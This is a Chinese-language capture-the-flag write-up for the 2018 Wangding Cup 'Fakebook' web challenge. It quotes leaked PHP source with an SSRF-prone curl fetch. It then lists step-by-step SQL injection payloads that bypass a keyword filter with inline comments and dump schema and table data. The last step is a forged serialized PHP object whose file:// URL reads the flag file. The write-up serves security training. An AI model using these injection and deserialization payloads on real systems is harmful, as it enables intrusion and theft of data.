2018年网鼎杯writeups

0x01 the Fakebook

查看源代码没有发现问题，输入flag.php返回200，表示请求存在。按照常规看看是否存在robots.txt，发现存在，并且返回值Disallow:/user.php.bak，代码审计

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现blog的参数为http/https，于是join注册一下查看返回网页源代码发现也无问题，于是点击username的链接试试，发现了问题，contents出现了请求网页于是猜测是否能通过这个漏洞来预览上文发现的flag.php 出现该内容的路径和请求参数为/view.php?no=1，构造不存在参数no=-1，请求后发现只有username一栏不出现报错，找到突破点了。由于刚开始的首页存在4列，包括#，既要构造4个参数，于是构造SSRF注入

/view.php?no=-1 union select 1,database(),3,4
//返回no hack ~_~，应该是select语句触发了审计，于是通过注释看看可不可以绕过
/view.php?no=-1 union/**/select 1,database(),3,4
//返回数据库名fakebook，再查资料可以知道mysql有一个group_concat()函数,可以返回一个字符串结果，该结果由分组中的值连接组合而成，可以用于查看表名。mysql默认自带information_schema库，里面有其他数据库的信息，可以利用这个来查看表名
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
//发现表名为users，继续查询列名
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
//发现字段名有no,username,passwd,data，继续查询data数据内容
/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
//得到以下数据
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:21:"https://www.baidu.com";}
//把原url替换为flag的文件路径
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:21:"file://var/www/html/flag.php";}'
//返回Notice: unserialize()，查询得知该函数为php的反序列化函数。

重新审计user.php代码（如果无可以百度查反序列化函数尝试获得原函数），构造序列化函数

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$a = new UserInfo();
$a->name = '123';
$a->age = 123;
$a->blog = 'file://var/www/html/flag.php';
echo serialize($a);
?>

得到data值后，构造请求路径

/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file://var/www/html/flag.php";}'

请求成功，查看网页源代码的contents部分的src，打开后查看源代码即可得到flag